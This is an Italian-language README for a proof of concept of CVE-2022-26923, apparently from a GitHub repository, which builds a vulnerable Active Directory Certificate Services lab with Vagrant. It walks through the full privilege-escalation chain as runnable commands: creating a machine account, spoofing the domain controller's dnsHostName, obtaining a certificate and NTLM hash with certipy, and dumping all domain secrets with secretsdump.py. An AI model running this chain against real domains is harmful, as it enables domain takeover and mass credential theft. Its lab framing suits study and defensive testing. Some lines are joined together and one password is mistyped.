
Una prova di concetto che sfrutta CVE-2022-26923.
Questa vulnerabilità consentiva a un utente con privilegi limitati di elevare i propri privilegi ad amministratore di dominio in un ambiente Active Directory predefinito con il ruolo del server Active Directory Certificate Services (AD CS) installato.
È principalmente correlata al ruolo Active Directory Certificate Services (AD CS). Il ruolo AD CS è un ruolo di Windows Server che consente di creare un'infrastruttura a chiave pubblica (PKI) e di fornire crittografia a chiave pubblica, certificati digitali e funzionalità di firma digitale per la propria organizzazione. Il ruolo AD CS viene utilizzato per rilasciare certificati per utenti, computer e servizi.
La versione di Windows Server utilizzata è Windows Server 2019 Standard Evaluation, che è la versione vulnerabile. Il Vagrantfile fornito (nella cartella Vulnerable Machine) creerà una VM Windows Server 2019 con il ruolo AD CS installato e configurato, insieme a un utente con privilegi limitati con le seguenti credenziali:
userV@grant1Per creare l'ambiente, segui questi passaggi:
CVE-2022-26923:
git clone https://github.com/Gh-Badr/CVE-2022-26923
cd CVE-2022-26923
Vagrantfile sostituendo l'indirizzo IP nella seguente riga:
config.vm.network "private_network", type: "static", ip: "192.168.33.13"
cd 'Vulnerable Machine'
vagrant up
certipy installato, puoi usare la macchina vagrant fornita nella directory Attacker Machine eseguendo il seguente comando:
cd 'Attacker Machine'
vagrant up
La cartella Attacker Machine contiene una macchina vagrant insieme a uno script shell che installerà l'ultima versione di certipy. Puoi anche usare lo script per installare certipy sulla tua macchina Linux.
Per connetterti alla macchina attaccante, esegui il seguente comando dalla directory Attacker Machine:
vagrant ssh
Ora che sei nella macchina attaccante, devi aggiungere l'indirizzo IP del Windows Server al file hosts:
echo "192.168.33.13 VAGRANT-K51B6U3.vagrant.local VAGRANT-K51B6U3 vagrant-VAGRANT-K51B6U3-CA vagrant.local" | sudo tee -a /etc/hosts
Nota: Se hai cambiato l'indirizzo IP nel Vagrantfile della macchina vulnerabile, devi cambiarlo anche qui.
Poi, creiamo un nuovo account computer nel dominio:
addcomputer.py 'vagrant.local/user:V@grant1' -method LDAPS -computer-name 'CVEPC' -computer-pass 'P@ssw0rd'
Per verificare che l'account computer sia stato creato, connettiti alla macchina vulnerabile con l'utente user e la password V@grant1 eseguendo il seguente comando dalla directory Vulnerable Machine:
vagrant ssh
Quindi, esegui il seguente comando per verificare che l'account computer sia stato creato:
Get-ADComputer CVEPC -Properties dnsHostName,servicePrincipalName
Questo account computer ha il dnsHostName CVEPC.vagrant.local. Quello che vogliamo fare è cambiare questo dnsHostName in VAGRANT-K51B6U3.vagrant.local, che è il controller di dominio.
Per farlo, dobbiamo prima eliminare il Service Principal Name (SPN) dall'account computer CVEPC eseguendo il seguente comando:
Set-ADComputer CVEPC -Properties ServicePrincipalName @{}
Poi possiamo cambiare il dnsHostName in VAGRANT-K51B6U3.vagrant.local eseguendo il seguente comando:
Set-ADComputer CVEPC -Properties dnsHostName VAGRANT-K51B6U3.vagrant.local
Ora che abbiamo un account computer con il dnsHostName VAGRANT-K51B6U3.vagrant.local, possiamo richiedere un certificato malevolo dalla macchina vulnerabile eseguendo il seguente comando sulla macchina attaccante:
certipy req -username '[email protected]' -password 'P@sww0rd' -ca vagrant-VAGRANT-K51B6U3-CA -template Machine -target VAGRANT-K51B6U3.vagrant.local
Dovresti ottenere un certificato chiamato vagrant-k51b6u3.pfx nella directory corrente.
Per verificare che il certificato sia valido, usa lo strumento auth di certipy eseguendo il seguente comando:
certipy auth -pfx vagrant-k51b6u3.pfx
Se il certificato è valido, dovresti ottenere l'hash NTLM del controller di dominio. Che può essere usato in molti modi dannosi.
Come prova di concetto, possiamo usare l'hash NTLM per recuperare tutti i segreti memorizzati nel dominio (come spiegato nell'articolo dell'autore della CVE). Per farlo, possiamo usare lo strumento secretsdump.py dalla suite impacket (che è installata con l'ultima versione di certipy).
Per usare lo strumento, esegui il seguente comando:
secretsdump.py 'vagrant.local/[email protected]' -hashes :<NTLM hash>
Sostituisci <NTLM hash> con l'hash NTLM ottenuto dal passaggio precedente.
Come risultato, dovresti ottenere tutti i segreti memorizzati nel dominio.